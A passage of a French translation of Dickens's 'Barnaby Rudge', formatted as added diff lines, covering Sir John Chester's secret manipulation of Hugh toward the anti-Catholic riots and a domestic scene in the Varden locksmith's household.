+
+-- Adieu! dit M. Tappertit en agitant sa main. Hardiesse et
+vigilance!
+
+-- Pas de papisme, capitaine! rugit Hugh.
+
+-- Plutôt voir l'Angleterre dans le sang!» cria son terrible chef.
+
+Sur quoi Hugh applaudit, toujours en riant aux éclats, et se mit à
+courir comme un lévrier.
+
+«Cet homme fera honneur à mon corps, dit Simon en tournant sur son
+talon d'un air pensif. Et voyons un peu. Dans un changement de
+société, qui est inévitable, si nous nous soulevons et que nous
+remportions la victoire, quand la fille du serrurier sera à moi,
+il faudra me débarrasser de Miggs d'une manière quelconque, ou un
+soir, pendant mon absence, elle empoisonnera la bouilloire à thé.
+Il pourrait épouser Miggs dans un moment d'ivresse. Oui, c'est ça.
+Je vais en prendre note.»
+
+
+
+
+CHAPITRE XL.
+
+
+Songeant fort peu au plan d'heureux établissement dont venait
+d'accoucher pour lui la féconde cervelle de son prévoyant
+capitaine, Hugh ne s'arrêta pas avant que les géants de Saint-
+Dunstan eussent frappé l'heure au-dessus de sa tête. Alors il fit
+jouer avec une grande vigueur la poignée d'une pompe qui se
+trouvait près de là; et, fourrant sa tête sous le robinet, il se
+mit à prendre une bonne douche, laissant l'eau tomber en cascade
+de chacun de ses cheveux vierges du peigne; et quand il fut trempé
+jusqu'à la ceinture, considérablement rafraîchi d'esprit et de
+corps par cette ablution, et presque dégrisé pour le moment, il se
+sécha du mieux qu'il put; puis il franchit la chaussée, et fit
+manoeuvrer le marteau de la porte de Middle-Temple.
+
+Le portier de nuit regarda d'un oeil revêche à travers un petit
+guichet du portail et cria: «Qui vive?» Salut auquel Hugh
+répondit: «Ami!» en lui disant de se dépêcher de lui ouvrir.
+
+«Nous ne vendons pas de bière ici, cria l'homme; qu'est-ce que
+vous voulez?
+
+-- Entrer, répliqua Hugh, et il donna un grand coup de pied dans
+la porte.
+
+-- Pour aller où?
+
+-- À Paper-Buildings.
+
+-- Chez qui?
+
+-- Sir John Chester.» Et il accentua chacune de ses réponses d'un
+nouveau coup de pied.
+
+Après avoir un peu grogné, le portier lui ouvrit la porte, et Hugh
+passa, mais non sans subir une inspection sérieuse.
+
+«Qui? vous? rendre visite à sir John, à cette heure de nuit! dit
+l'homme.
+
+-- Oui! dit Hugh. Moi! eh bien quoi?
+
+-- Mais il faut que je vous accompagne et que je vois si vous y
+allez, car je ne le crois pas.
+
+-- Venez donc alors.»
+
+L'examinant d'un regard soupçonneux, l'homme, avec une clef et une
+lanterne, marcha à son côté et le suivit jusqu'à la porte de sir
+John Chester. Le coup de marteau qu'y donna Hugh retentit au
+travers du sombre escalier comme l'appel d'un fantôme, et fit
+trembler le pâle lumignon dans la lampe assoupie.
+
+«Croyez-vous maintenant qu'il désire me voir?» dit Hugh.
+
+Avant que l'homme eût eu le temps de répondre, on entendit un pas
+à l'intérieur, une lumière apparut, et sir John, en robe de
+chambre et en pantoufles, ouvrit la porte.
+
+«Je vous demande pardon, sir John, dit le portier en ôtant son
+chapeau. Voici un jeune homme qui prétend avoir à vous parler. Ce
+n'est guère l'heure des visites. J'ai cru prudent de
+l'accompagner.
+
+-- Ah! ah! cria sir John en relevant les sourcils. C'est vous,
+messager? Entrez. C'est bien, mon ami. Je loue grandement votre
+prudence. Merci. Dieu vous bénisse! Bonne nuit.»
+
+De se voir loué, remercié, honoré d'un: «Dieu vous bénisse!» et
+congédié avec les mots: «Bonne nuit!» par un gentleman qui avait
+un sir devant son nom, et qui signait M. P.[31], par-dessus le
+marché, c'était quelque chose pour un portier. Il se retira très
+humblement et avec force saluts. Sir John suivit dans son cabinet
+de toilette son visiteur attardé, et, se plaçant dans sa bergère
+devant le feu, après l'avoir dérangée pour mieux le voir debout
+devant lui, le chapeau à la main, près de la porte, il le regarda
+de la tête aux pieds.
+
+C'était bien ce vieillard au visage toujours calme et agréable;
+c'était son teint fleuri, clair, et tout à fait juvénile; le même
+sourire; la précision et l'élégance habituelles de sa toilette;
+les dents blanches et bien rangées; ses manières composées et
+paisibles; chaque chose comme elle avait accoutumé d'être: nulles
+marques de l'âge ni des passions, ni envie, ni haine, ni
+mécontentement: tout tranquille et serein; cela faisait plaisir à
+voir.
+
+Il signait M. P., mais comment cela? Eh mais, voici comment.
+C'était une orgueilleuse famille, plus orgueilleuse, en vérité,
+qu'opulente. Il avait couru le risque d'être arrêté pour dettes,
+d'avoir affaire aux baillifs[32] et de tâter de la prison, d'une
+prison vulgaire, ouverte aux petites gens qui ne jouissent que de
+petits revenus. Les gentlemen des maisons les plus anciennes n'ont
+pas de privilège qui les exempte de si cruelles lois; il faut pour
+cela qu'ils appartiennent à une grande maison[33], la seule qui
+confère ce privilège: alors c'est différent. Un orgueilleux
+personnage de sa race trouva moyen de l'envoyer au parlement. Il
+offrit, non pas de payer ses dettes, mais de le laisser siéger
+pour un bourg dévoué jusqu'à ce que son propre fils eût atteint sa
+majorité: c'était toujours vingt ans de bon, s'il vivait jusque-
+là. Cela valait un bill d'insolvabilité reconnue, et c'était
+infiniment plus distingué. Voilà comme sir John Chester devint un
+membre du parlement.
+
+Mais pourquoi, sir John? Rien de si simple, de si aisé. Que l'épée
+royale vous touche, et la transformation est accomplie. John
+Chester, esquire, M. P., parut à la cour; il y alla porter une
+adresse au chef de l'État, à la tête d'une députation. Des
+manières si élégantes, tant de grâce dans le maintien, une
+conversation si aisée, ne pouvaient passer inaperçues. Monsieur
+était trop commun pour un pareil mérite. Un homme si
+gentlemanesque aurait dû... mais la fortune est si capricieuse...
+naître duc: précisément comme quelques ducs auraient dû naître
+gens de rien. Il plut au roi, s'agenouilla chrysalide et se releva
+papillon. Voilà comment John Chester, esquire, fut fait chevalier
+et devint sir John.
+
+«Je croyais, quand vous m'avez laissé ce soir, mon estimable
+connaissance, dit sir John après un silence assez long, que vous
+aviez l'intention de revenir plus tôt que cela?
+
+-- Je l'avais en effet, maître.
+
+-- Et c'est comme cela que vous avez tenu parole? riposta
+M. Chester en jetant les yeux sur sa montre. Est-ce là ce que vous
+voulez dire?»
+
+Au lieu de répliquer, Hugh s'appuya sur son autre jambe, fit
+passer son chapeau dans son autre main, regarda le parquet, le
+mur, le plafond, et enfin sir John lui-même. Devant l'agréable
+figure de son hôte, il baissa de nouveau ses yeux, et les fixa sur
+le parquet.
+
+«Et comment avez-vous employé votre temps? dit sir John en
+croisant ses jambes avec indolence; où avez-vous été? Quel mal
+avez-vous fait?
+
+-- Pas de mal du tout, maître, grommela Hugh d'un air humble. Je
+n'ai fait que ce que vous m'avez ordonné.
+
+-- Ce que je _quoi_? répliqua sir John.
+
+-- Eh bien alors, dit Hugh avec embarras, ce que vous m'avez
+conseillé, ce que vous m'avez dit que je devais ou que je pouvais
+faire, ou que vous feriez vous-même si vous étiez à ma place. Ne
+soyez donc pas si sévère avec moi, maître.»
+
+Quelque chose comme une expression de triomphe, à la vue du
+parfait contrôle qu'il avait établi sur ce rude instrument, parut
+un instant dans les traits du chevalier; mais cela s'évanouit
+aussitôt qu'il commença de répondre, en se taillant les ongles:
+
+«Lorsque vous dites que je vous ai ordonné, mon bon garçon, cela
+implique que je vous ai chargé de faire quelque chose pour moi...
+quelque chose que je désirais vous faire faire... quelque chose de
+relatif à mes desseins particuliers... vous comprenez? Or, je n'ai
+pas besoin, j'en suis sûr, d'insister sur l'extrême absurdité
+d'une telle idée, encore qu'elle ne soit nullement intentionnelle.
+Ainsi, veuillez (et ici il tourna ses yeux vers lui) faire plus
+d'attention à ce que vous dites. Vous y penserez, n'est-ce pas?
+
+-- Je n'ai pas eu l'intention de vous offenser, dit Hugh. Je ne
+sais que dire. Vous me tenez de si court!
+
+-- On vous tiendra de beaucoup plus court, mon bon ami,
+d'infiniment plus court, un de ces jours; vous pouvez y compter,
+répliqua son patron avec calme. À propos, au lieu de m'étonner que
+vous ayez été si long à venir, je devrais plutôt m'étonner que
+vous soyez venu. Qu'est-ce que vous me voulez?
+
+-- Vous savez, maître, dit Hugh, que je ne pouvais pas lire
+l'affiche que j'avais trouvée, et que, supposant que c'était
+quelque chose d'extraordinaire à la façon dont c'était enveloppé,
+je l'apportai ici.
+
+-- Et ne pouviez-vous demander à tout autre que moi de vous la
+lire, ours mal léché? dit sir John.
+
+-- Je n'avais personne à qui confier un secret, maître. Depuis que
+Barnabé Rudge a disparu pour tout de bon, et il y a cinq ans de
+cela, je n'ai causé qu'avec vous seul.
+
+-- Vous m'avez fait un grand honneur, certainement.
+
+-- Mes allées et venues, maître, pendant tout ce temps, lorsqu'il
+y avait quelque chose à vous dire, se sont répétées, parce que je
+savais que vous seriez en colère contre moi si je restais à
+l'écart, dit Hugh, lâchant ses paroles à l'étourdie, après un
+silence plein d'embarras, et parce que je désirais faire mon
+possible pour vous plaire, afin de ne pas vous avoir contre moi.
+Voilà! c'est la vraie raison pour laquelle je suis venu cette
+nuit. Vous le savez bien, maître; j'en suis sûr.
+
+-- Vous êtes un finaud, répliqua sir John en fixant sur lui ses
+yeux, et vous avez deux faces sous votre capuchon, tout aussi bien
+que les plus rusés. Ne m'avez-vous pas donné, ce soir, dans cette
+chambre, un tout autre motif? ne m'avez-vous pas dit que vous en
+vouliez à quelqu'un qui vous a témoigné du mépris dernièrement, et
+qui, en toute circonstance, vous a malmené; qui vous a traité
+plutôt comme un chien que comme un homme, son semblable?
+
+-- Bien sûr, je vous ai donné ce motif! cria Hugh en s'emportant,
+ainsi que l'autre l'avait prévu; je vous l'ai dit, et je vous le
+répète, je ferai n'importe quoi pour tirer vengeance de lui;
+n'importe quoi. Et quand vous m'avez dit que lui et les
+catholiques souffriraient de la part de ceux qui se sont réunis
+sous cette affiche, je vous ai déclaré que je voulais être l'un
+d'eux, leur chef fût-il le diable en personne. Eh bien! je suis
+l'un d'eux, à présent. Voyez si je suis homme de parole, et si on
+peut compter sur moi. Il est possible que je n'aie pas beaucoup de
+tête, maître, mais j'ai assez de tête pour me souvenir de ceux qui
+ont des torts avec moi. Vous verrez, il verra, et cent autres
+verront si j'en rabattrai rien quand le moment sera venu. Ce n'est
+rien de m'entendre, il faut me voir mordre. J'en connais d'aucuns
+pour qui il vaudrait mieux avoir un lion sauvage au milieu d'eux
+que moi, quand je serai déchaîné. Oh oui! cela vaudrait mieux pour
+eux.»
+
+Le chevalier le regarda avec un sourire beaucoup plus significatif
+qu'à l'ordinaire; et, lui montrant la vieille armoire, il le
+suivit des yeux, tandis que Hugh remplissait un verre et le vidait
+d'un trait. M. Chester, derrière le dos de son hôte, sourit d'une
+façon encore plus significative.
+
+«Vous êtes d'une humeur tapageuse, mon ami, dit-il lorsque Hugh se
+fut retourné de son côté.
+
+-- Moi? non, maître! cria Hugh. Je ne dis pas la moitié de ce que
+je pense. Je ne sais pas m'exprimer. Je n'ai pas ce don. Il y en a
+assez qui parlent parmi nous; moi, je serai un de ceux qui
+agissent.
+
+-- Ah! vous avez donc rejoint ces gaillards-là? dit sir John de
+l'air de la plus profonde indifférence.
+
+-- Oui; je suis allé à la maison que vous m'aviez désignée, et je
+me suis fait inscrire comme recrue. Il y avait là un autre homme
+nommé Dennis.
+
+-- Dennis, ah! oui, cria sir John en riant. Oui, oui, encore un
+joli garçon, je crois.
+
+-- Un fameux luron, maître, un camarade selon mon coeur, et
+joliment chaud sur l'affaire en question; chaud comme braise.
+
+-- Je l'ai entendu dire, répliqua sir John négligemment. Vous
+n'avez pas eu l'occasion d'apprendre quel est son métier, n'est-ce
+pas?
+
+-- Il n'a pas voulu nous le dire, cria Hugh. Il en fait mystère.
+
+-- Ah! ah! dit sir John en riant; un étrange caprice; il y a des
+gens qui ont cette faiblesse-là. Vous le saurez un jour, je vous
+le jure.
+
+-- Nous sommes des intimes déjà, dit Hugh.
+
+-- C'est tout à fait naturel! Et vous avez bu ensemble, hein?
+poursuivit sir John. Vous ne m'avez pas dit, je crois, où vous
+êtes allés de compagnie en sortant de chez lord Georges?»
+
+Hugh ne le lui avait pas dit, et n'avait pas songé à le lui dire;
+mais il le lui conta; et cette demande ayant été suivie d'une
+longue file de questions, il rapporta tout ce qui s'était passé,
+soit à l'intérieur soit à l'extérieur, l'espèce de gens qu'il
+avait vus, leur nombre, leurs sentiments, leur conversation, leurs
+espérances et leurs intentions apparentes. Son interrogatoire fut
+dirigé avec tant d'art, qu'il croyait donner tous ces
+renseignements de lui-même, et non se les laisser arracher; et,
+grâce, à l'habile manège de sir John, il en était tellement
+convaincu que, lorsqu'il le vit bâiller enfin et se plaindre
+d'être excessivement fatigué, Hugh lui fit des excuses à sa
+manière, de l'avoir tenu là si longtemps à écouter son bavardage.
+
+«Là, maintenant, allez-vous-en, dit sir John en tenant d'une main
+la porte ouverte. Vous avez fait de la jolie besogne ce soir. Je
+vous avais dit de ne pas faire cela. Vous pouvez vous mettre dans
+l'embarras. Mais vous voulez absolument une occasion de vous
+venger de votre orgueilleux ami Haredale, et pour y réussir vous
+risqueriez n'importe quoi, je suppose?
+
+-- Oui, certes, riposta Hugh en s'arrêtant au moment où il sortait
+et regardant en arrière; mais qu'est-ce que je risque? Qu'est-ce
+que j'ai à perdre, maître? des amis, un ménage? je m'en moque pas
+mal; je n'en ai pas, ainsi qu'est-ce que ça me fait? Donnez-moi
+une bonne bagarre; laissez-moi régler de vieux comptes dans une
+émeute hardie où il y aura des hommes pour me soutenir; et après
+ça, faites de moi ce que vous voudrez. Au bout du fossé la
+culbute.
+
+-- Qu'avez-vous fait de ce papier? dit sir John.
+
+-- Je l'ai sur moi, maître.
+
+-- Jetez-le à terre en vous en allant; il vaut mieux ne pas garder
+de ces choses-là sur soi.»
+
+Hugh fit un signe de tête affirmatif, et ôtant son bonnet de l'air
+le plus respectueux qu'il put prendre, il s'éloigna.
+
+Sir John, ayant mis le verrou à la porte derrière son visiteur,
+revint à son cabinet de toilette, se rassit encore une fois devant
+le feu, qu'il contempla longtemps dans une méditation sérieuse.
+
+«Cela va bien, dit-il enfin avec un sourire, et promet merveilles.
+Voyons un peu. Mes parents et moi, qui sommes les plus chauds
+protestants du monde, nous souhaitons tout le mal possible à la
+cause des catholiques romains; et quant à Saville, qui a présenté
+le bill en leur faveur, j'ai contre lui en outre une objection
+personnelle: mais, comme chacun de nous fait de sa propre personne
+le premier article de son _credo_, nous ne nous commettrons pas en
+nous joignant à un fou fieffé, tel que l'est indubitablement ce
+Gordon. Seulement je peux fomenter en secret les troubles qu'il
+occasionne, et me servir dans ce but d'un aussi bon instrument que
+le sauvage ami qui sort de chez moi, c'est une chose utile pour
+favoriser nos vues réelles. Je puis encore exprimer dans toutes
+les conjonctures convenables, en termes modérés et polis, une
+désapprobation de ses actes, bien que nous soyons d'accord avec
+lui en principe: c'est le moyen infaillible de nous faire une
+réputation de gens honnêtes et droits dans nos desseins,
+réputation qui ne peut manquer de nous être infiniment
+avantageuse, et de nous élever à quelque importance politique.
+Très bien. Voilà pour le côté public de cette affaire. Quant aux
+considérations privées, j'avoue que, si ces vagabonds faisaient
+quelque émeute (ce qui ne semble pas impossible), et qu'ils
+infligeassent quelque petit châtiment à Haredale, comme étant un
+des membres les plus actifs de la secte, cela me serait
+extrêmement agréable, et m'amuserait outre mesure. Très bien
+encore! et même peut-être mieux!»
+
+Quand il en fut là, il prit une prise de tabac, puis commençant à
+se déshabiller tout doucement, il résuma ses méditations en disant
+avec un sourire:
+
+«Je crains, oui, je crains excessivement que mon ami ne marche un
+peu bien vite sur les traces de sa mère. Son intimité avec
+M. Dennis est de mauvais augure. Mais je ne doute pas qu'il n'eût
+toujours fini par là. Si je lui prête le secours de ma main, la
+seule différence, c'est qu'il boira peut-être, au total, un peu
+moins de gallons, ou de poinçons, ou de muids en cette vie qu'il
+n'en aurait bu autrement. Cela ne me regarde pas, et c'est
+d'ailleurs une affaire de mince importance!»
+
+Là-dessus il prit une autre prise de tabac, et alla se coucher.
+
+
+
+
+CHAPITRE XLI.
+
+
+De l'atelier de la Clef d'Or s'échappait un tintement si joyeux et
+de si bonne humeur, qu'il donnait naturellement à penser que celui
+qui faisait une musique si agréable devait travailler gaiement et
+de bon coeur. N'ayez pas peur qu'un homme qui manie seulement le
+marteau pour accomplir une tâche ennuyeuse et monotone tire jamais
+des sons si guillerets de l'acier et du fer Il fallait pour cela
+un compère gazouillant, bien portant, franc et honnête,
+bienveillant pour tout le monde, un vrai Roger Bontemps. Il eût
+été chaudronnier, qu'il eût battu ses chaudrons en cadence. Eut-il
+été sur le siège de quelque chariot sautant sur le pavé avec une
+cargaison de barres de fer, qu'il eût tiré bien sûr de leurs
+cahots quelque harmonie imprévue.
+
+Tink, tink, tink. C'était clair comme une sonnette d'argent et
+cela se faisait entendre à chaque pause des bruits plus âpres de
+la rue, comme si cela disait «Il ne m'en chaut; rien ne me
+contrarie, je suis résolu à être heureux.» Les femmes grondaient,
+les enfants piaillaient, les lourdes charrettes passaient avec un
+sourd tapage, d'horribles cris sortaient des poumons des
+colporteurs, et toujours cela refrappait, pas plus haut, pas plus
+bas, pas plus fort, pas plus doucement, sans chercher à s'imposer
+un brin à l'attention publique, pour se dédommager d'avoir été
+dominé par des sons plus bruyants. Tink, tink, tink, tink, tink.
+C'était une personnification parfaite d'une petite voix d'enfant
+vierge de tout rhume, de tout embarras dans la gorge, de tout
+enrouement ou de toute autre incommodité. Les piétons
+ralentissaient leur pas, et étaient disposés à s'arrêter auprès;
+les voisins, qui s'étaient levés le matin avec le spleen,
+sentaient la bonne humeur se glisser en eux lorsqu'ils entendaient
+ce tink, tink là, et petit à petit ils devenaient tout gaillards,
+les mères faisaient danser leurs poupons à ce tintement, et
+toujours ce magique tink, tink, tink s'échappait joyeux de
+l'atelier de la Clef d'Or.
+
+Il n'y avait que le serrurier pour pouvoir faire pareille musique!
+Un rayon de soleil, brillant à travers la fenêtre sans croisée et
+rompant l'obscurité du sombre atelier par une large plaque de
+lumière, tombait en plein sur lui, comme attiré par son coeur
+chaleureux. Il était là, debout à son enclume, sa figure toute
+rayonnante d'exercice et d'allégresse, ses manches retroussées, sa
+perruque en arrière de son front luisant; c'était bien l'homme le
+plus à son aise, le plus libre, le plus heureux du monde entier.
+Auprès de lui se tenait assis un chat au poil lisse, faisant son
+ronron, clignant des yeux au grand jour, et s'abandonnant de temps
+en temps à un assoupissement paresseux, comme par excès de
+confort. Tobie[34] regardait son maître du bout d'un banc placé tout
+près de là; Tobie n'est tout entier qu'un radieux sourire de la
+tête aux pieds, depuis sa frimousse en terre cuite, brun marron,
+jusqu'aux boucles rissolées de ses souliers. Ses serrures elles-
+mêmes, suspendues autour de la boutique, avaient jusque dans leur
+rouille quelque chose de jovial, et ressemblaient à ces gentlemen
+goutteux, de gaillarde nature, disposés à plaisanter de leurs
+infirmités. Rien de maussade, rien de sévère dans toute cette
+scène. Je suis sûr que dans cette collection de clefs
+innombrables, il n'y en avait pas une qui se fût prêtée à ouvrir
+les coffres-forts d'un avare, ou une porte de prison. Quant à des
+caves pleines de bière et de vin, des chambres avec un bon feu,
+des livres intéressants, une causerie piquante, et des éclats de
+rire réjouissants, à la bonne heure, les clefs se trouvaient là
+sur leur terrain; mais des lieux de méfiance, de cruauté et de
+contrainte, elles les auraient laissés fermés bel et bien pour
+jamais, à quatre tours.
+
+Tink, tink, tink. Le serrurier fit enfin une pause et essuya son
+front. Le silence réveilla le chat, qui, sautant doucement à bas,
+rampa vers la porte, et y guetta avec des yeux de tigre un oiseau
+dans sa cage à une fenêtre d'en face. Gabriel leva Tobie jusqu'à
+ses lèvres et but une bonne gorgée.
+
+Alors, comme il était tout droit, sa tête rejetée en arrière, sa
+corpulente poitrine en saillie, on aurait vu que la partie
+inférieure de l'habillement de Gabriel appartenait au costume
+militaire. Si l'on avait en outre regardé le mur, on y eût
+observé, suspendus à leurs différentes chevilles, un chapeau à
+plumet, un sabre, un ceinturon, un habit ronge; et tout homme,
+pour peu qu'il fût versé en pareilles matières, aurait reconnu à
+leur façon et à leur patron ces divers objets pour l'uniforme de
+sergent des volontaires royaux de Londres oriental.
+
+Lorsqu'il eut vidé son cruchon, et qu'il l'eut replacé sur le banc
+d'où Tobie lui avait souri auparavant, le serrurier regarda ces
+articles d'un oeil de jubilation, et, en penchant la tête un peu
+de côté, comme s'il eût voulu les réunir sous le même rayon
+visuel, il dit, appuyé sur son marteau:
+
+«Un temps fut, je m'en souviens, que le plaisir de porter un habit
+de cette couleur m'aurait presque rendu fou, et, si tout autre que
+mon père eût voulu plaisanter mon enthousiasme, comme j'aurais
+jeté feu et flamme! Et pourtant j'ai fait là une grande folie
+certainement!
+
+-- Ah! soupira Mme Varden, qui était entrée sans être aperçue,
+certainement c'est une folie. Un homme de votre âge, Varden, faire
+des bêtises pareilles!
+
+-- Eh mais, quelle drôle de femme vous faites, Marthe! dit le
+serrurier, qui se retourna en souriant.
+
+-- Certainement, répliqua Mme Varden avec une gravité extrême.
+Sans doute je suis très drôle en effet. Je sais cela, Varden,
+merci.
+
+-- Je veux dire... commença le serrurier.
+
+-- Oui, dit la femme, je sais ce que vous voulez dire. Vous parlez
+assez clairement pour vous faire comprendre, Varden. C'est bien de
+la bonté de votre part que de vous mettre ainsi à ma portée.
+
+-- Là! Marthe, répliqua le serrurier; ne vous fâchez donc pas pour
+rien. Je veux dire qu'il est fort étrange que vous me reprochiez
+cet enrôlement volontaire, lorsqu'on ne le fait que pour vous
+défendre, vous et toutes les autres femmes, notre foyer domestique
+et celui de tout le monde, en cas de besoin.
+
+-- C'est le fait d'un mauvais chrétien, cria Mme Varden en hochant
+la tête.
+
+-- D'un mauvais chrétien! dit le serrurier. Eh mais, le diable...»
+
+Mme Varden regarda le plafond, comme si elle se fût attendue que
+la conséquence immédiate de cette profanation serait de faire
+dégringoler par le plafond le lit à quatre montants du second
+étage, avec le beau salon du premier; mais aucun jugement visible
+ne s'étant accompli, elle poussa un grand soupir, et pria son
+mari, avec l'accent de la résignation, de continuer, et de ne pas
+se gêner pour blasphémer; qu'il savait combien elle aimait cela.
+
+Le serrurier parut un moment disposé à lui faire ce plaisir; mais
+il se ravisa à propos, et lui répondit doucement:
+
+«Dame aussi! pourquoi, au nom du ciel, dites-vous que c'est le
+fait d'un mauvais chrétien? Lequel serait plus chrétien, Marthe,
+de rester tranquilles et de laisser saccager nos maisons par une
+armée ennemie, ou de nous lever comme des hommes pour la mettre en
+fuite? Ne serais-je pas une belle espèce de chrétien, si j'allais
+me cacher dans un coin de ma cheminée pour regarder de là une
+bande de sauvages en moustaches emporter Dolly, ou vous peut-
+être?»
+
+Quand il dit: «Ou vous peut-être,» Mme Varden, malgré qu'elle en
+eût, ne put s'empêcher de sourire. Il y avait dans cette idée une
+manière de compliment.
+
+«J'avoue que, si les choses en étaient là... dit-elle avec un
+sourire modeste.
+
+-- Si les choses en étaient là! répéta le serrurier. Mais c'est ce
+que vous verriez arriver tout de suite. Miggs elle-même y
+passerait. Quelque négrillon, jouant du tambour de basque, avec un
+grand turban sur la tête, viendrait essayer de l'emporter, et, à
+moins que le joueur de tambour de basque ne fût à l'épreuve des
+coups de pied et des égratignures, c'est ma conviction qu'il en
+serait le mauvais marchand. Ha! ha! ha! Je plaindrais le joueur de
+tambour de basque. Je ne lui conseille pas de s'y frotter, le
+pauvre garçon.» Et ici le serrurier se mit à rire de si bon coeur,
+que les larmes lui en vinrent aux yeux, au grand scandale de
+Mme Varden, qui pensait que le rapt d'une protestante aussi
+solide, d'une personne aussi estimable dans sa vie privée que
+Miggs, et par un nègre encore, un vil païen, était une
+circonstance trop choquante et trop effroyable pour qu'on y
+songeât sans frémir.
+
+Le tableau que Gabriel venait d'esquisser menaçait d'avoir des
+conséquences sérieuses, et il en aurait eu sans aucun doute, si
+par bonheur, en ce moment, un léger pas n'eût franchi le seuil, et
+si Dolly, s'élançant dans la boutique, n'eut jeté ses bras autour
+du cou de son vieux père qu'elle tenait étroitement serré.
+
+«La voilà donc enfin! cria Gabriel. Quelle bonne mine vous avez,
+Doll! et comme vous venez tard, ma chérie!»
+
+Quelle bonne mine elle avait? Bonne mine? Je crois bien; il eût
+épuisé tous les adjectifs élogieux du dictionnaire, qu'il n'aurait
+pas encore assez loué sa fille. Où donc vit-on jamais dans le
+monde entier une petite minette si potelée, si friponne, si
+avenante, si pétillante, si séduisante, si ravissante, si
+éblouissante, si enivrante que Dolly! Ne me parlez pas de la Dolly
+d'il y a cinq ans, c'est bien autre chose aujourd'hui! Combien de
+carrossiers, de selliers, d'ébénistes et de garçons passés maîtres
+dans d'autres arts utiles, qui avaient abandonné leurs pères,
+leurs mères, leurs soeurs, leurs frères, et, ce qui est au-dessus
+de tout cela, leurs cousines, pour l'amour d'elle! Combien de
+gentlemen inconnus, qu'on supposait nantis d'immenses fortunes,
+sinon de titres ... qui guettaient Miggs au coin de la rue après
+la brune, pour engager cette fille incorruptible, en la tentant
+par des guinées d'or, à remettre à sa jeune maîtresse des offres
+de mariage sous le sceau d'un billet doux! Combien de pères
+inconsolables, négociants aisés, avaient fait visite au serrurier
+pour le même motif, et lui avaient raconté de lugubres histoires
+domestiques, comme quoi leurs fils, perdant l'appétit, en étaient
+venus à s'enfermer dans d'obscures chambres à coucher, ou bien à
+errer dans des faubourgs solitaires avec de pâles figures, et tout
+cela parce que Dolly Varden était aussi cruelle que jolie! Que de
+jeunes gens, qui avaient montré à une époque antérieure une
+sagesse exemplaire, s'étaient portés soudain pour le même motif à
+des extravagances inexcusables, comme d'arracher les marteaux des
+portes et de culbuter les guérites des watchmen rhumatisants!
+Combien avait-elle recruté pour le service du roi, tant sur terre
+que sur mer, en réduisant au désespoir les sujets de Sa Majesté
+qui s'étaient amourachés d'elle, entre dix-huit et vingt-cinq ans!
+Combien de jeunes demoiselles avaient publiquement déclaré, les
+larmes aux yeux, qu'elle était beaucoup trop petite, trop grande,
+trop hardie, trop froide, trop forte, trop mince, trop blonde,
+trop brune, trop n'importe quoi, mais pas belle! Combien de
+vieilles dames, dans leurs conciliabules, avaient remercié le ciel
+de ce que leurs filles ne lui ressemblaient pas, et avaient
+exprimé le souhait qu'il ne lui arrivât rien de fâcheux, quoique
+bien persuadées qu'elle ne tournerait pas bien, et avaient fini
+par dire qu'elle avait un air effronté qui ne leur avait jamais
+plu, et qu'au demeurant ce n'était qu'une mystification parfaite
+et une bévue de la foule!
+
+Et avec tout cela, Dolly Varden était si capricieuse et si
+difficile, qu'elle était encore Dolly Varden, avec tous ses
+sourires, et ses fossettes, et son joli minois, ne se souciant pas
+plus des cinquante ou soixante jeunes gens dont le coeur se
+brisait du désir de l'épouser, que si c'eussent été autant
+d'huîtres contrariées dans leurs amours qui fussent là, l'écaille
+béante, à exhaler leurs peines de coeur.
+
+Dolly embrassa son père, comme nous l'avons déjà dit, et, après
+avoir embrassé aussi sa mère, elle les accompagna tous deux dans
+la petite salle à manger où la nappe était déjà mise pour le
+dîner, et où Mlle Miggs, un tantinet plus roide et plus raboteuse
+que jamais, l'accueillit avec une contraction hystérique de sa
+bouche qu'elle croyait un sourire.
+
+Aux mains de cette jeune vierge, Dolly confia son chapeau et sa
+robe de promenade (le tout d'un goût terriblement artificieux,
+plein de mauvaises intentions), et alors elle dit avec un rire qui
+balança la musique du serrurier:
+
+«Avec quel plaisir je reviens toujours à la maison!
+
+-- Et quel plaisir c'est toujours pour nous, Doll, dit son père,
+en relevant en arrière les cheveux noirs qui voilaient ses yeux
+étincelants, de vous revoir à la maison! Donnez-moi un baiser.»
+
+Ah! s'il y avait eu là quelque malheureux du sexe masculin pour
+voir le baiser que Dolly lui donna! mais il n'y en avait pas, Dieu
+merci!
+
+«Je n'aime pas que vous restiez à la Garenne, dit le serrurier. Je
+ne peux point supporter de ne plus vous avoir sous mes yeux. Et
+quelles nouvelles de là-bas, Doll?
+
+-- Quelles nouvelles de là-bas? Je pense que vous les savez déjà,
+répondit sa fille. Oh! oui, vous les savez, j'en suis sûre.
+
+-- Vrai? cria le serrurier; qu'est-ce qu'il y a donc?
+
+-- Allons, allons, dit Dolly, vous le savez bien. Mais dites-moi
+donc un peu, pourquoi M. Haredale... oh! comme il est redevenu
+morose et brusque, en vérité!... est parti de la Garenne depuis
+quelques jours, et pourquoi il est en voyage (nous ne savons qu'il
+est en voyage que par ses lettres) sans dire seulement à sa nièce
+où, ni pourquoi, ni comment?
+
+-- Je parie que Mlle Emma ne demande pas à le savoir, répliqua le
+serrurier.
+
+-- Je n'en sais rien, dit Dolly; mais moi je le demande, à tout
+prix. Dites-le-moi. D'où vient qu'il est si mystérieux? et qu'est-
+ce que cette histoire de fantôme, que personne ne doit raconter à
+Mlle Emma, et qui semble se rattacher au départ de son oncle? Ah!
+je vois que vous le savez, car vous devenez tout rouge.
+
+-- Ce que signifie cette histoire ou ce qu'elle est au fond, ou le
+rapport qu'elle a avec son départ, je ne le sais pas plus que
+vous, ma chère, répliqua le serrurier, sinon que c'est quelque
+frayeur folle du petit Salomon, qui ne signifie rien du tout, je
+suppose. Quant au voyage de M. Haredale, il va, selon ce que je
+crois...
+
+-- Oui, dit Dolly.
+
+-- Selon ce que je crois, reprit le serrurier en lui pinçant la
+joue... à ses affaires, Doll. Quelles sont ses affaires? c'est une
+tout autre question. Vous n'avez qu'à lire Barbe-Bleue, et vous ne
+serez pas si curieuse, enfant gâtée; cela ne vous regarde pas plus
+que moi, voilà ce qu'il y a de sûr; et voici le dîner, qui est
+beaucoup plus intéressant.»
+
+En dépit de l'apparition du dîner, Dolly se serait révoltée contre
+cette façon cavalière d'écarter la question, si, à la mention
+faite de Barbe-Bleue, Mme Varden n'était intervenue, protestant
+que sa conscience ne lui permettait pas d'entendre là,
+tranquillement assise, recommander à sa fille de lire les
+aventures d'un Turc et d'un musulman, bien moins encore d'un faux
+Turc, comme l'était dans son idée ce potentat. Elle soutint que,
+dans des temps aussi agités, aussi redoutables que ceux où l'on
+vivait, il serait beaucoup plus utile à Dolly de prendre une
